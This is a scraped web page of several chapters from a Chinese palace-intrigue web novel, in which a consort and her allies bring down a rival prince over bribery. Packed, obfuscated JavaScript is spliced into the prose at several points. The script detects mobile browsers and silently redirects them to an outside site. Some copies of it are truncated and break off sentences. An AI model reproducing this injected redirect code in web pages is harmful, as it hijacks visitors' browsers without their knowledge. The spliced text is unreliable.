“本宫与姐姐相处也这么多年了,很多事情倒是也不瞒着姐姐了。” 深吸一口气,夏韶宁又出声了。 “圣上有七个儿子,本宫知道姐姐的二皇子与丽充容的七皇子是一直都站在六皇子身后的。但是还有那么几个皇子,他们和他们的母妃心中是什么心思,本宫并不知晓。” “唐贤妃如今这般光明正大地到圣上面前去请求将李从南的幺女赐婚给大皇子,她存了什么心思,大家都知道。本宫相信圣上他也知道,但是他手中却没有证据。” 说到“证据”两个字的时候,夏韶宁的语气特意加重了许多。 果然,这话一说完,苏昭容就明白了。 “娘娘是不是希望二皇子给那李从南和大皇子挖个坑?”苏昭容试探性地问道。 “姐姐这个词用得可太好了,的确就是挖个坑。” 所以说人人都喜欢和聪明人说话,夏韶宁只说了前头半句,苏昭容自然而然地就将后头半句接下去了。 “倒是也不需要二皇子做什么,就是最近偶尔约几次那李从南吃顿饭,多同他说一说大皇子与他外家好的地方。当然了,也可以适当地说说大皇子的难处。比方说他刚刚开府手头有些紧啊之类的……” “那李从南是个精明人,二皇子这话不用说很多遍,他自然明白自己接下来应该做什么了。” “臣妾明白了。”苏昭容站起身来对着夏韶宁福了福身子,两个人对视了一眼,一切便尽在不言中了。 第268章 所谓国本 大朝会。 “众卿家有事启奏,无事退朝!”张全和甩着拂尘刚说完这句话,便见正四品谏院丞方观站了出来。 “陛下今年的万寿节已过,再有两年陛下便将步入不惑之年。虽然早些年陛下曾放话称不立皇后,但是无论如何太子是一个国家的国本,微臣奏请陛下早日立下太子,方能稳定国本啊!” 坐在龙椅上的萧祈安眯着眼睛看着面前躬着身子,态度十分谦卑的方观,面上一丝多余的表情都没有。 眼见着上首的萧祈安一直不说话,一旁的礼部尚书柯胜也跟着附和道,“陛下!太子不立,国本不稳!此为一个国家的大忌啊!微臣恳请陛下早日立下太子,稳定国本!” 看着已经有两名四品以上的官员就立太子之事开口了,剩下的一大批官员们便纷纷躬起身子,朝着萧祈安道,“臣等奏请陛下,早日立下太子!” “很好!”也不知道那群大臣们躬着身子站了多久,萧祈安终于缓缓出声了。 “朕今年不过三十八岁,还有两年才到不惑之年,你们这一个两个倒是用国本这种事情来压着朕立太子了是吧?!” 说到这里,萧祈安先是冷着脸环视了一番刚刚出声的那几个人,最终将视线定格在了谏院丞方观的身上。 “虽然谏院是对着皇帝说实话的地方,但是若是一个谏院丞连皇帝的心思都弄不明白,你也就不配坐在这个位置上了。” “张全和,传朕旨意,谏院丞方观德不配位,从今日起由正四品谏院丞贬至正五品都水使者。方大人若是没事,替朕多看看咱们大容的水利工程,倒是比你一天到晚盯着朕立不立太子来得有意义多了!” 萧祈安说这话的时候声音并不大,但是就是这么一番话,让在场的所有大臣们脸色都变了。 特别是刚刚跟着方观一起开口要萧祈安早日立太子的大臣们,这会儿更是一个个眼观鼻鼻观心的不敢作声了。 “陛下!您就算贬微臣的官,微臣也要说!三皇子萧衡驰乃孝端皇后之子,更是陛下唯一嫡子!从古至今,有嫡立嫡,无嫡立长。您不能违背老祖宗立下的规矩啊!” 那方观眼见着有侍卫想要来拉自己,更是抓紧机会将心中的话说了出来。 “呵,朕瞧着方大人似乎不太喜欢都水使者这个职位呢!没关系,既然金州城没有你喜欢的官职,那你就到云州去当个同知事吧。朕相信凭着方大人的本事,一定能让云州那般贫困的地方变得发达起来的!” 萧祈安压根就没将那方观的话放进心里,听得他还在那垂死挣扎,萧祈安索性将他贬出金州城了,主打一个眼不见为净。 眼见着方观被侍卫给拖了下去,萧祈安这才清了清喉咙,缓缓出声了。 “朕登基十四载,好容易将大容从前那贪腐盛行的风气扭转了许多,朕不希望再在你们这些臣子或者是任何皇室中人之中发现收**赂、****之事。” “朕不想去计较那方观近日为何会说出这番话,但是既然尔等提起了这件事情,那朕今日就表个态。” “朕的身体很好,皇子们的年纪也不大,所以以后不要在朕面前贸然提起立太子的事情。时候不到,火候不够,强行立下太子,才会导致国本不稳!” “朕不希望步先帝后尘,尔等可明白?!” 萧祈安这话说得是前所未有的严厉,一番话落,宣政殿内的大臣们便纷纷朝着萧祈安跪了下来。 “陛下圣明,微臣明白!” *** 晚间,承乾宫。 白日里在宣政殿发生的事情,早就有人提前透露给了夏韶宁。所以当萧祈安虎着一张脸入了殿内的时候,夏韶宁倒是没有露出什么惊讶的神情。 萧祈安一个人默默地用着膳,夏韶宁则在一旁给他布菜,一句多余的话都没有问。 一顿饭吃完,萧祈安似乎觉得有些索然无味。他抬头看了看正在嘱咐宫人收拾桌子的夏韶宁,一把就将她拉进了怀里。 很显然,宫人们被萧祈安这番突如其来的举动惊 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“陛下的大皇子今年可都已经十八了呢,您怎么还不服老呢?臣妾倒是听说前段时间贤妃倒是巴巴地跑到紫宸殿去向陛下讨儿媳去了,不知道她看中的是哪家的姑娘啊?” 萧祈安本就不愿意听到人家说他老了,谁成想连夏韶宁都这么说。又听得她提起贤妃看中的那家姑娘,瞬间心中就有些生气了。 “哼!说起来这贤妃这算盘打得可是响呢,她看中的可是中都护李从南家的嫡幺女!” “唔,是李大人家的嫡幺女吗?”听得萧祈安的话,夏韶宁的面上忽然就露出了一丝了然的神情。 “说起来前段时间苏昭容带着二皇子一道来承乾宫向臣妾请安的时候,臣妾倒是听二皇子提了一嘴。说……说那李大人最近与大皇子似乎走得很近呢!” 说到这里,夏韶宁忽然就抬起头来对着萧祈安嗔怪了一声,“陛下莫不是已经许了大皇子与那李姑娘的婚事?怎么臣妾这个贵妃,一点儿都不知道呢?” 第269章 就是偏心 夏韶宁一边说,一边细细观察着萧祈安的脸色。 果然,当她说到大皇子与那李从南嫡幺女婚事的时候,萧祈安忽然伸出手来“砰”的一声重重地拍在了一旁的小几上! “贤妃在朕面前又哭又闹地演戏,大皇子倒是等不及自己就在私底下同那李从南联系上了。这母子俩的算盘打得未免也太响了!” 萧祈安冷哼一声,稍稍思考了一会儿就对着门外喊了一声,“张全和!” 张全和应声推门进来,快步走到了萧祈安的身边道,“奴才在,陛下有何吩咐?” “让御史台和都察院兵分两路去给朕好好的查一查大皇子和那李从南!朕倒是要看看,这两个人背着朕在私底下到底都做了多少见不得人的事情!” 话说张全和已经很久没见过圣上发如此大的火了,猛地听得圣上的吩咐,他立刻转头就去办了。 “陛下您先坐下消消气!是不是……臣妾说错什么话了?” 尽管夏韶宁很清楚萧祈安是因为什么事情生气的,但是这会儿的她还是装出了一副什么都不知道十分害怕的样子。 “不是你的错,是有些人的心实在太大了!”萧祈**过夏韶宁的手,缓缓带着他又坐回了椅子上。 “宁儿,你知道吗?今日大朝会的时候,有人以国本不稳为理由,让朕早日立太子。” 夏韶宁没想到萧祈安居然会当着她的面同她讨论起起立太子的事情来,这会儿满脸的吃惊倒不是装出来的了。 她是真的觉得有些意外。 “陛下,这是国事,臣妾……是不是不应该听?”夏韶宁一边说,一边不自觉地就站起了身来。 “行了,这么些年,除了之前废瑞王的那件事,朕有什么事情是瞒着你的?” 萧祈安瞥了夏韶宁一眼,伸出手来就将她拉进了自己的怀里。 “但是朕一口就给回绝了,宁儿知道这是为什么吗?” 眼见着萧祈安把这个棘手的问题又抛给了自己,此刻的夏韶宁倒是真的有些烦恼。 “陛下春秋鼎盛,着实不用如此着急就立太子。”权衡了好半天,夏韶宁这才捡了一句好听的话回了萧祈安。 “你说对了一半。”萧祈安摇了摇头,随即忽然伸出手来将夏韶宁的脑袋给扳正了,“还有一个很重要的原因,就是咱们的昀儿……还没有长大。” 萧祈安这话说得很平静,平静到让夏韶宁误以为他这话是在说“今日中午要吃什么”这种小事。 可是只要夏韶宁再细想一下,她忽然就惊讶得瞪大了眼睛。 “陛下,您的意思是……” “其实朕的想法已经很明显了,宁儿你看不出来吗?” 萧祈安倒是对夏韶宁表现出的这般惊讶感到有些好笑,刚刚还被贤妃和大皇子的事情气得有些心烦的他,忽然就笑了。 “陛下,您别和臣妾开玩笑了。自古以来,立太子从来有嫡立嫡,无嫡立长。咱们的昀儿既不是嫡子也不是长子,您怎么会……” 尽管此时的夏韶宁,内心的确有些激动。但是面对萧祈安,她还是努力装成了一幅迷惑不解的样子。 原因无他,实在是夏韶宁还想从萧祈安的口中了解更多他对于立六皇子为太子的具体想法。 “朕既不是嫡子也不是长子,如今不也当上了这大容的皇帝吗?”听得夏韶宁的话,萧祈安立刻就出声反驳起了她来。 “这么多年来,朕在昀儿的身上花的心思是最多的,偏生这孩子也争气。崇文馆里所有的夫子都夸他,说他是所有皇子里头资质最好的。” “朕的确偏心昀儿,因为他是朕与宁儿盼了许多年好容易才盼来的孩子。但是朕不是先帝,不会明知道自己宠爱的孩子是个废物还非要强行将他扶到一个不属于他的位置。” “昀儿今年虽然只有十二岁,但是他的能力与天赋甚至比从前的朕还要强上许多。这么好的孩子,不立他做太子,不将他光明正大地带在朕身边好好学习治国之事,这是朕的损失,更是大容的损失啊!” 虽然随着自己的年纪渐长,萧祈安也不可避免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧祈安顿了顿,不知为何脑海中忽然又想起了先帝以及废太子和废瑞王。 他发誓自己这辈子绝对不会不先帝的后尘。 夏韶宁当然明白先帝的事情给萧祈安带来的影响有多大,只是他不当着自己的面提起,夏韶宁就装不明白。 “昀儿还小,咱们俩也还年轻。咱们不着急,一切都能慢慢来。” 第270章 生辰百态 九月廿七,是唐贤妃三十六岁的生辰。 往年后宫里有宫妃们过生辰,大部分都是在自己宫里摆上几桌,再邀请一些与自己交好的宫妃,以及自己娘家的女眷进宫来热闹一番。 而不知为何,今年的唐贤妃似乎对自己的生辰十分重视,早半个月前就开始嘱咐殿中省好好筹备了。 一开始的夏韶宁还对唐贤妃的这般举动感到有些奇怪,直到她拿到殿中省送来的拟邀请女眷的名单以后,她才明白唐贤妃这般重视到底是为了什么。 “这个李如萱,莫不就是那李从南的嫡幺女?” 夏韶宁伸出手指指了指苏昭容递过来的唐贤妃生辰宾客名单,转头询问一旁的苏昭容。 “是呢,之前二皇子和那李从南套近乎的时候,那李大人说漏了嘴,说他这嫡幺女就名如萱。”苏昭容点了点头回道。 “这李姑娘既不是咱们这些宫妃们谁家的亲戚,更不是唐贤妃家的女眷,唐贤妃怎么会邀她入宫来参加自己的生辰?这似乎有些于理不合吧?” 听得夏韶宁的话,谢修容也探过头来看了一眼那个名单,心中也觉得奇怪。 “圣上答应了,就不叫于理不合了,这叫额外的恩赐。” 夏韶宁冷笑一声,瞬间就明白这里头的猫腻了。 “不管她,这名单既然能光明正大地通过殿中省送到本宫手上,就说明圣上已经默许了。殿中省若是有什么事情请示你们俩,你们通通答应便是。” 夏韶宁对着苏昭容和谢修容摆了摆手,示意她们不要过于在意。 她漫不经心地捏了颗葡萄放进了嘴里,随即懒懒地对着两人又补了一句,“两位姐姐还是先准备好瓜子和水果,若是本宫没猜错,过几日可是有好戏看咯!” *** 时间很快就到了九月廿七,唐贤妃生辰那天。 许是人逢喜事精神爽,夏韶宁倒是觉得今日的唐贤妃看起来皱纹都少了好几条。 “给昭贵妃娘娘请安。”眼见着夏韶宁带着六皇子走进了院子,唐贤妃立刻带着满脸的笑意从里头迎了出来。 “臣妾前几日让身边的宫女去承乾宫送帖子,娘娘都没给个准信儿,臣妾还以为您今日不来了呢!” 唐贤妃的个子本来就比夏韶宁高上一些,这会儿站在夏韶宁面前,口中又说了这么句颇有些阴阳怪气的话,怎么看都像是在挑衅夏韶宁。 按照往年夏韶宁的性格,她必定是不会让自己受这种气,怎么都是要回上一嘴的。 可是今日的夏韶宁抬起头来看着唐贤妃那张在厚厚的敷粉和胭脂的掩盖下也藏不住的苍老的脸,忽然就觉得没必要同她抬什么杠了。 既不年轻又不受宠,偏生还爱作死。这母子俩也不过就是秋后的蚂蚱,蹦跶不了多久了。 眼见着夏韶宁不做声,唐贤妃倒是显得更加得意了。她转过头来对着不远处喊了一声,大皇子便应声走了过来。 “瑞儿,带着你六弟去你们兄弟姐妹那一桌坐着吧,说起来你们也许久不见了,好好聊一聊吧。” “是。”大皇子答应了一声,随即便带了些优越感对着六皇子道,“六弟长这么大都没出过这皇宫,让大哥同你好好说说宫外是什么样的吧……” 夏韶宁看着大皇子那张脸,明明是笑着的,但是不知为何莫名的就让人有种不喜欢的感觉。 那种感觉怎么说呢,比从前不喜欢安庆公主的那种感觉还要强烈的不止一点。 不过她也没在意那么多,她对自己的儿子这点随机应变的能力还是很放心的。眼见着六皇子就在不远处坐下了,她也带着含秋与李顺挑了个位置坐着了。 夏韶宁刚刚坐下,便见着苏昭容带着谢修容和丽充容朝着她走了过来。 “孩子们那儿,都安排好了?”夏韶宁看了一眼苏昭容,小声问道。 “娘娘放心吧,臣妾让人盯着呢,一旦有什么事儿,自会有人来告诉咱们。”苏昭容回道。 “娘娘和苏姐姐叽叽咕咕在说些什么呢?怎么也不同臣妾和丽妹妹说两句?” 看着夏韶宁与苏昭容躲在一旁咬耳朵,谢修容便也有些好奇地凑了过去。 “谢姐姐一会儿准备好看戏就行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在华清宫内的气氛渐渐到达高潮的时候,众人忽然听到宫门口传来了一阵尖细的声音—— “圣上到!” 这会儿的唐贤妃本还坐在位置上享受着那些**宫的小宫妃们的恭维,冷不防听得圣上居然来了,礼貌满脸惊喜地站起身来迎了过去。 “给陛下请安,陛下怎么来了?” 唐贤妃跪下身来,面带娇羞地望着萧祈安。 这会儿的夏韶宁就跪在唐贤妃的身旁,她很明显的看见了萧祈安面上那隐隐的扭曲。 她心中不禁想着,这男人为了成大事,可是够能忍的了! “你今日过生辰,就不必拘礼了。”萧祈安摆了摆手,示意唐贤妃起身,随即便自顾自地坐到了上首的位置上。 唐贤妃本以为哪怕是做个样子,圣上也该将她扶起来的。可是如今瞧着他只是嘴里不咸不淡地吩咐她起来,刚刚还满脸的笑容瞬间就凝固了。 “朕最近忙,都忘记给你准备生辰礼了,今日想起来,就特意来华清宫给你送上了。” 眼见着众人已经坐定,萧祈安便开口了。 “臣妾这又不是过的整寿,还劳烦圣上惦记着,臣妾……臣妾心中当真欢喜!” 唐贤妃本来还觉得今日的萧祈安有些不给她面子,这会儿听见萧祈安口口声声特意来给她送生辰礼,立刻有些喜不自胜起来。 “你先看看朕送你的是什么礼物,再高兴不迟。” 面对着唐贤妃满脸的喜悦,此时的萧祈安却忽然敛了神色。他对着一旁的张全和使了个眼色,张全和会意,便立刻吩咐内**早就准备好的几个箱子从外头抬了上来。 “这几箱东西不知道你眼不眼熟,当然,你不眼熟没关系,朕想着大皇子应该眼熟得很呢!” 随着萧祈安的话音落下,几个内侍直接将箱子打了开来。 众人都有些好奇,急忙探头过去看。这不看不要紧,一看可是个个都开始倒吸了一口凉气起来。 因为这些箱子里装的根本不是那些常规的贺礼,而是一摞一摞码得整整齐齐的黄金和白银! 如果说刚刚的唐贤妃,还满脸得意地看着周围的宫妃们。可是这几箱子黄金白银抬上来,哪怕她再蠢,也看出了这里头的不正常。 “陛下,您这是什么意思……这些东西……” 此时的唐贤妃脸色骤然变得一片惨白,说话的语气也变得慌乱不已。 “大皇子去哪儿了!”萧祈安压根懒得理会唐贤妃,只是忽然站起身来对着下首喊了一句大皇子。 不过很显然,无人回应。 “父皇!”一阵沉默以后,六皇子忽然从后头站了出来。 “大哥刚刚还在同儿臣们喝酒,喝了不一会儿就被他身边的内侍叫走了,儿臣模模糊糊听着,似乎是……有人寻他……” “张全和,让大皇子立刻来见朕!”六皇子的话刚说完,萧祈安便冷声对着张全和吩咐了一声。 张全和应了一声,忙去了。 “你的脸怎么这么红?你知道你大哥去见谁了?” 六皇子说完这番话便偷偷地站到了夏韶宁的身边,夏韶宁抬眼瞧着他脸上红彤彤的,忍不住有些疑惑地问道。 “母妃,我知道,但是……我不好意思说……” 六皇子抬起头来看了夏韶宁一眼,又迅速将眼光挪开,说起话来颇有些吞吞吐吐。 夏韶宁一开始还觉得奇怪,但是随着衣冠不整的大皇子被张全和带到萧祈安面前的时候,她才彻底恍然大悟。 “儿臣……儿臣给父皇请安!”这会儿的大皇子,外袍的扣子都还没来得及扣,脸上也还带着一丝可疑的潮红。最让人觉得不堪入目的是,他的脸上,居然有好几个女子口脂留下的唇印! “萧衡瑞!今日是你母妃的生辰,你做什么去了?!” 萧祈安冷着脸从上到下将大皇子打量了一遍,这会儿整个人的火气更是到达了顶峰! “父皇,儿臣没有……儿臣……”听得萧祈安这般暴怒的责问,这会儿的大皇子吞吞吐吐了半天,愣是一句完整的话都说不出来。 “张全和,你来说!”眼见着大皇子一直不出声,萧祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你也知道朕还未松口答应你与那李从南嫡幺女的婚事,你又怎能不顾皇家颜面做出这种大婚前与女子偷情的龌龊事?!” 听得大皇子这般振振有词,萧祈安只觉得自己的五脏六腑都要被他给气炸了! “你不要打量朕不知道你们母子俩为什么非要娶那李从南的嫡幺女为皇子妃。” 稳了稳情绪,萧祈安忽然冷笑了起来。 他缓缓走到了大皇子的身边,抓着他的脖子一把就将他按到了其中一个装着满满金元宝的箱子里。 “这几箱东西,都是都察院从你的大皇子府里搜查出来的。在这之前,你府中许多下人,甚至是春华楼的跑堂和掌柜,都曾见过你与李从南频繁来往!你一个爵位都没有的光头皇子,频繁和一个正三品的中都护来往,其中有什么猫腻,要不要朕当着这许多人的面说出来啊?!” 大皇子一开始被带上来的时候,光顾着尽快将他与那李如萱的事情说出来。根本就没注意到一旁白着一张脸的唐贤妃,和那几箱子的金银。 这会儿看着那几箱子熟悉的装满金银的箱子,他的脸色才是彻底的变了! 父皇怎么会想着让都察院去搜他的府里?父皇是从什么时候开始怀疑他的?! “父皇!这一切都是那李从南怂恿儿臣做的!儿臣什么都不知道!也是那李从南非要把他那女儿嫁给儿臣的,儿臣拒绝过了,但是李从南根本不听!” 眼见着这如山的铁证摆在自己面前,大皇子知道是没办法狡辩了。于是他灵机一动,准备将所有的罪责都推到李从南的身上去。 只是他的话音刚落,那一直躲在最后头的李如萱却忽然发疯一样地冲了过来。 她挣脱了拉着她的那群宫女内侍的手,泪流满面地跪在了萧祈安的面前。 “陛下明鉴啊!大皇子说的都不是真的!明明是他一直私下里接触臣女的父亲,鼓动父亲将臣女嫁给他!他说他是陛下的长子,成为太子那都是迟早的事情!到时候臣女就是太子妃,还有可能是未来的皇后!” “他又日日想方设法偷偷与臣女见面,今日之事……也是大皇子强迫臣女做的!臣女绝对不是自愿的啊!” 那李如萱虽然还未及笄,但是打眼瞧去整个人已经有了一股妩媚的气质,**的让夏韶宁这个女人都觉得是个难得的尤物。 只不过这么好的一副皮囊,却是个没脑子的,真是可惜了。 “你们两个倒是不必在朕面前彼此推卸责任,今日之事你们所有人,包括李从南,统统跑不掉!” “朕生平最痛恨的就是****之事,偏生你作为朕的儿子在朕的眼皮子底下都能做出这种事,朕今日不罚你,如何服众?” 萧祈安冷冷地看了此时跪在地上已经吓得一句话都说不出的大皇子,缓缓开口了。 “既然你这么想娶这李姑娘为妻,那朕就满足你。张全和!” 萧祈安转过身来,对着张全和喊了一声—— “传朕旨意:正三品中都护李从南,**数额巨大,免去其中都护职位,没入刑部大牢,下月问斩!” “李府所有李从南的亲属,除了其嫡幺女李如萱,其他统统流放漠州!” “大皇子萧衡瑞收**赂,败坏皇室名誉,今日起剥夺其皇子所有待遇,即刻动身前往辽州皇陵去给庄肃皇太后守皇陵,永世不得踏入金州地界!庶人李从南之女李如萱,嫁于萧衡瑞为妻,同其一道前往辽州守陵,不得有误!” “至于你……”说到这里,萧祈安终于看了看已经快要晕过去的唐贤妃,冷声道,“贤妃唐氏,教子不善,着今日起降位为婕妤,无限期禁足于华清宫霁月殿,朕再也不想看见这个女人!” 短短几句话,便彻底决定了这几个人下半辈子的人生。 “父皇!儿臣是您的长子啊,您怎么能这般对待儿臣?!” 听得萧祈安对于自己的宣判,大皇子瞪大了双眼,甚至以为他听错了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613505|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>这个时候的他也顾不得什么体不体面了,挣扎着爬到了萧祈安的脚边,死死拉着他的衣裳下摆不肯松开。 “儿臣知道您偏心六弟,可是您如今就这般容不下儿臣吗?儿臣同您保证,从今以后儿臣再也不同六弟争抢什么了,太子之位儿臣也不与六弟争了!求您不要让儿臣到辽州去守皇陵啊!这不是要了儿臣的命吗?!” 夏韶宁站在一旁,听着大皇子死到临头还想把六皇子拖下水,忍不住就露出了一丝嘲讽的笑容。 此时的她也顾不得萧祈安还未开口了,立马就顺着大皇子的话出声了。 “大皇子说起话来真的好没道理,你自己犯了这般不可饶恕的错误,做什么把责任全推到六皇子的身上?陛下如今春秋鼎盛,从未有过立太子的心思。你口口声声不与六皇子争太子的位置,本宫且问你一句,陛下他是亲口告诉你要立六皇子为太子了吗?” 夏韶宁说这话的时候语气很冷,冷到在场的众人都忍不住打了个寒战。 众人都不禁想着,原来那些传言都是真的,六皇子真的就是昭贵妃娘娘的底线。 “陛下,大皇子这样污蔑六皇子的清誉,难道您不管吗?若是您不管,六皇子日后还要如何做人?” 萧祈安看着眼前那个满脸倔强的夏韶宁,也明白大皇子这一次是触犯她的底线了。 他本来还想给大皇子留最后一丝体面,可是为着夏韶宁,也为着昀儿,想来是不能了。 “大皇子妄议朝政,诋毁亲兄弟,朕想着庄肃皇太后也必定不愿意你这种人去给她守陵,没得搅得她死后都不得安生。” “既然你连朕给你的这一点点体面都不想要了,那你就跟着李府的那些人一道流放漠州吧!” 听得萧祈安的口中吐出这番话,夏韶宁这才觉得心里舒服了不少。 大皇子和唐婕妤如何作死她不管,但是若是谁要惹到她与她孩子的头上,她夏韶宁非和你们斗到底不可! 第273章 母子夜话 一场闹剧过后,夏韶宁带着六皇子回到了承乾宫。 “母妃,儿臣得回重华宫去了。” 眼见着夏韶宁已经安全回到了自己的宫里,六皇子忙对着她作了一揖,准备离开了。 “不忙,母妃今日有些话想同你说,待话说完了再回重华宫不迟。” 夏韶宁对着身旁的人摆了摆手示意她们都退下,随即带着六皇子回了内殿。 “你从刚刚开始,就一副欲言又止的样子看着我,你是不是有什么话想同母妃说?” 一回了内殿,也没等六皇子斟酌着开口,夏韶宁直接对着他出声了。 “母妃,我总觉得今日大哥的这件事情有些奇怪,这一切进展得似乎太过顺利了,顺利得就好像……您与父皇早就知道了什么一样。” 顿了好一会儿,六皇子终于开口了。 “你父皇是不是提前知道了什么,我不清楚。但是母妃同你说明的,你大哥落得今天这样的下场,母妃的确在暗地里出了手。” “且不仅母妃出了手,你苏母妃和二哥在这件事情上,也帮了忙。” 夏韶宁之所以选择在今日大皇子这件事情发生以后把六皇子留下同他说话,就是没打算将自己做过的事情瞒着他。 六皇子翻过年就要十三岁了,夏韶宁并不打算将他养成一个认为全世界都是好人的傻白甜。相反的,让他早点看清楚人性的善恶,对他以后只有好处没有坏处。 “你们这么做,是为了我吗?”六皇子没想到夏韶宁一开口就是这么一句话,倒是让他愣了好一会儿。 不过也就是愣了这么一会儿,他似乎一下子就明白了这里头的门道。 “昀儿,你明年就十三了,这个年纪的男子在皇室中已经不算是小孩了。所以有些事情,母妃觉得还是早些告诉你比较好。” 夏韶宁走到六皇子面前,看着已经快比她还要高的孩子,还是忍不住伸出手来摸了摸他的头。 “你父皇从小到大就偏爱你,这一点你是知道的。但是你也知道,你不是你父皇唯一的儿子,你还有六个兄弟。只是……太子,乃至未来的皇帝,只能有一个。” 夏韶宁说这话的时候,尽量将语气放得很轻松。她有些担心突然同六皇子提起这件有些残酷的事情,他会不适应甚至是排斥。 但是出乎她意料的是,眼前的六皇子听得她的这番话,居然表现出了前所未有的冷静。 他的脸上甚至没有任何惊讶的表情,只是安安静静的坐在位置上,等着夏韶宁说接下来的话。 “你没有什么话想问母妃吗?你不觉得母妃为了达成自己的目的,有些心狠甚至不择手段吗?”夏韶宁有些疑惑地问道。 “我没觉得母妃心狠,就算母妃真的心狠,那也是为了昀儿。”六皇子语气平静地回了一句。 “父皇有那么多儿子,就算母妃与我没有这种心思,其他人也会有这种心思。就好像大哥一样,他想方设法地想要将那李从南拉入自己的阵营,不就是为了利用他中都护的官职帮助自己夺得太子之位,甚至是以后的皇位吗?” “别人可以有这种想法,为什么我不可以?为什么母妃不可以?连崇文馆的夫子都在私底下说过,说我的资质比几个哥哥要好得多。父皇对我又从来偏爱,凭什么我不能坐上那个位置?” 这个时候的六皇子,整个人面上的神情和散发出的气质甚至他的谈吐,看起来丝毫不像是一个只有十二岁的孩子。 夏韶宁甚至隐隐约约从他的脸上,看出了许多年前萧祈安同她坦白自己想要夺得皇位时的那种同样坚毅的神情。 不同的是,那时候的萧祈安已经二十二岁了,而如今的六皇子,只会更加青出于蓝。 “母妃以为你会怪我。”听得六皇子与自己这番推心置腹的话,夏韶宁这才重重地松了一口气。 “是我先提起了你二哥的亲事,你苏母妃和二哥才答应帮忙的。当然,或许她们母子俩也不完全是因着这门亲事才帮我们的,你二哥……总归是向着你的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618583|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>夏韶宁只生了六皇子一个儿子,她早就明白若是昀儿以后要坐上那个位置,光靠他自己单打独斗是远远不够的。 经过这么多年的相处,夏韶宁已经确定了苏昭容与二皇子对她与六皇子的确没有异心。她到底还是害怕因为这件事,六皇子会与二皇子生了嫌隙。 这是她不愿意看到的。 “昀儿明白。”听得夏韶宁的话,六皇子便立刻点了点头。 “二哥性子温和,又有个口吃的毛病,他大概自己也知道他是坐不上那个位置的。他以后若是想要有个好前程,如今依附于母妃依附于我,是他与苏母妃最好的选择了。” 六皇子虽然年纪不大,但是他看问题却是难得的透彻。这一点,倒是让夏韶宁安心了不少。 她一直担心自己将这孩子保护得太好了,他会变成一个过于单纯的人。但是今日这一番深谈下来,她才渐渐发现,自己的孩子在自己看不见的地方,已经慢慢长大了。 “母妃,昀儿不是小孩子了,更加不是那般是非不分的人。这么多年,母妃为儿做的那些事情,儿全都看在眼里,记在心里了。” 六皇子拉过夏韶宁的手,仰起头来对着她笑了。 “儿会努力,努力完成母妃的愿望,努力成为一个让父皇和母妃都感到骄傲的孩子!” “我儿长大了!”看着眼前那个满脸坚定的孩子,这时候的夏韶宁才觉得,自己这么多年的谋划,都是值得的。 “不早了,母妃让李顺送你回重华宫。”夏韶宁松开了六皇子,准备转头喊门外的李顺,只是她还没出声,就被六皇子拦住了。 “母妃,不用了,昀儿自己回去就好。今日同母妃说了这么多推心置腹的话,昀儿越发觉得,未来的路若是要走得稳走得好,迟早都得靠自己的。” 说完这番话,六皇子便对着夏韶宁深深地行了一礼,带着自己的贴身内侍王恩离开了。 夏韶宁就这样倚着门框,盯着六皇子离开的背影,看了很久很久。 第274章 双喜 唐婕妤与大皇子的事情并没有在后宫里掀起什么很大的风浪。不过说实话,后宫里也真没多少人与唐婕妤关系好的。 这些年来不管是从潜邸就跟进宫的老人,还是后来通过选秀入宫的新人,无论位份高低,试问谁没被这唐婕妤为难过? 她处处仗着自己生了圣上长子在宫里耀武扬威欺负人,如今落得这般下场,终究是咎由自取。 …… 这日一大早,夏韶宁就带了好些礼物往咸福宫去了。 三天前,萧祈安下了两道赐婚圣旨—— 从四品秘书少监曾览孙女曾玉清指婚于二皇子萧衡逸为皇子妃。 册封二公主萧心若为安平公主,并择从五品太史令谢肃之子谢知远为其驸马。 以上两对新人皆于明年三月底完婚。 所以显而易见,夏韶宁这是去给苏昭容与谢修容送贺礼去了。 咸福宫。 夏韶宁刚带着含秋与李顺入了咸福宫的大门,就看见谢修容正坐在院子里抹眼泪。苏昭容坐在她的旁边,一脸想说什么又说不出来的表情,整张脸憋得像只煮熟的虾子。 “哟,这是怎得了?这后宫里谁有这么大的胆子,敢惹得你谢修容掉眼泪啊?” 夏韶宁朝着含秋与李顺摆了摆手,示意她们两人不必跟上,自己就往谢修容那边去了。 